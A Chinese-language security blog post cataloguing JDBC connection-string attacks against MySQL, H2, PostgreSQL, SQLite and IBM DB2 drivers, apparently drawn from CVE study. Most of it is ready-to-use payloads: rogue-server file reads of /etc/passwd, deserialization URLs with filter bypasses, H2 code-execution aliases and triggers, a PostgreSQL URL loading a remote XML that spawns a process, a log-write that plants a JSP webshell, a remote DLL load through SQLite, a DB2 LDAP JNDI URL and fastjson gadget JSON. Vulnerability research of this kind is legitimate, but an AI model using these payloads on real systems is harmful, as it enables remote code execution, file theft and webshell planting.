前言
最近不想挖传统的管理系统如sql,文件操作等漏洞,想挖一些组件或者一些特殊功能的漏洞,就看了一些大佬提交的cve。大概漏洞分为两种,一种就是特殊场景下的“开创性漏洞”,漏洞利用方法可能不是独特的,只是前人没有往这方面去想,还有一种就是参考别人创意在相似场景下发现的漏洞。当然中间件不想web程序那么“规矩”,真实的漏洞挖掘场景是复杂多样的,需要我们真正的能看懂程序的每一个代码块的设计目的。
本文是之前我分析cve时发现的漏洞利用方式,先简单总结一下,等有机会挖jdbc相关的漏洞的时候在补
mysql
当mysql连接类似于url,当连接字符串可控时,在连接时带有特殊的参数部分就会产生漏洞
文件读取
mysql认为客户端不应该连接到不可信的服务端。
伪造一个 MySQL 的服务端,当有客户端连接上这个假服务端的时候,我们就可以任意读取客户端的一个文件,当然前提是运行客户端的用户具有读取该文件的权限
1 2 3 4 5 6 7 8
| Class.forName("com.mysql.jdbc.Driver"); String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_C:/boot.ini&maxAllowedPacket=655360&allowLoadLocalInfile=true"; Connection con = DriverManager.getConnection(url);
Class.forName("com.mysql.jdbc.Driver"); String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_file:///etc/passwd&maxAllowedPacket=655360&allowUrlInLocalInfile=true"; Connection con = DriverManager.getConnection(url);
|
恶意mysql服务端 https://github.com/rmb122/rogue_mysql_server
MySQL蜜罐
比较有意思的一点就是,读取的文件最终取决于服务端,也就是说上述项目服务端如果配置有要求读取的文件,最终会读取该文件,所以这个项目还可以当作蜜罐使用。即在mysql 8.0.14版本下无需进行任何参数设置,可以直接读取任意文件,当攻击者连接上该版本的恶意mysql数据库,就会被反向读取文件。
Java环境下的反序列化
各版本利用payload: https://github.com/fnmsd/MySQL_Fake_Server
可一样版本范围
5.1.x-5.1.49
6.x
8.x-8.0.20
绕过检测
大小写绕过
true改成yes
由于MySQL驱动允许URL编码,这样就可以绕过关键字autoDeserialize=%74%72%75%65
通过#号注释掉强行添加的内容
采用键值模式jdbc:mysql://(host=myhost,port=1111,key1=value1)/db
h2
rce
这个利用需要存在jdk环境
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"1\"\\;}'\\;CALL EXEC ('calc')
在jdk15之后Nashorn JavaScript 引擎被删除,因此在jdk15之后无法利用
1 2
| String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"calc.exe\")\n"; String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$"+ javascript +"$$\n";
|
需要额外引入了groovy的依赖
1 2
| String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x"; String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
|
Postgresql
通过加载远程恶意XML实现RCE
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
1 2 3 4 5 6 7 8 9 10 11
| <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="exec" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>cmd.exe</value> <value>/c</value> <value>calc.exe</value> </list> </constructor-arg> </bean> </beans>
|
任意文件写入
42.1.0 <= PostgreSQL <42.3.3
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=DEBUG&loggerFile=./test.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>
sqlite
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Class.forName("org.sqlite.JDBC"); String url1 = "http://127.0.0.1:81/default.db"; String url2 = "http://127.0.0.1:81/1.dll"; String tmp = "C:\\Users\\administrator\\AppData\\Local\\Temp\\sqlite-jdbc-tmp-"; String db = tmp + new URL(url1).hashCode() + ".db"; String dll = tmp + new URL(url2).hashCode() + ".db"; new File(db).delete(); new File(dll).delete(); DriverManager.getConnection("jdbc:sqlite::resource:"+url1).close(); DriverManager.getConnection("jdbc:sqlite::resource:"+url2).close(); Connection conn = DriverManager.getConnection("jdbc:sqlite:file:"+db+"?enable_load_extension=true"); Statement stmt = conn.createStatement(); String sql = "select load_extension('"+dll+"','dllmain')"; stmt.execute(sql);
|
IBM DB2
1 2
| druidDataSource.setUrl("jdbc:db2://127.0.0.1:5001/BLUDB:clientRerouteServerListJNDIName=ldap://10.0.0.67:1389/remoteExploit8;"); druidDataSource.setDriverClassName("com.ibm.db2.jcc.DB2Driver");
|
利用
JDBC反序列化往往可以rce或者读写文件,除了在配置连接场景下的攻击,还可以通过反序列化触发数据库的连接
jdbc连接通常通过getConnection方法触发的,而fastjson,common beanutil和pojonode等链子都能够触发getter方法
如果在反序列化时候有jdbc包就有可能触发jdbc攻击
fastjson打mysql jdbc
1 2 3 4 5 6 7 8
| {"name": {"@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "CommonsCollections5", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }}}
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection","proxy": {"connectionString":{"url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5"}}}
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters":[{"host":"127.0.0.1"}], "slaves":[],"properties":{"host":"127.0.0.1","user":"CommonsCollections5","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}}
|
其他 https://github.com/luelueking/Deserial_Sink_With_JDBC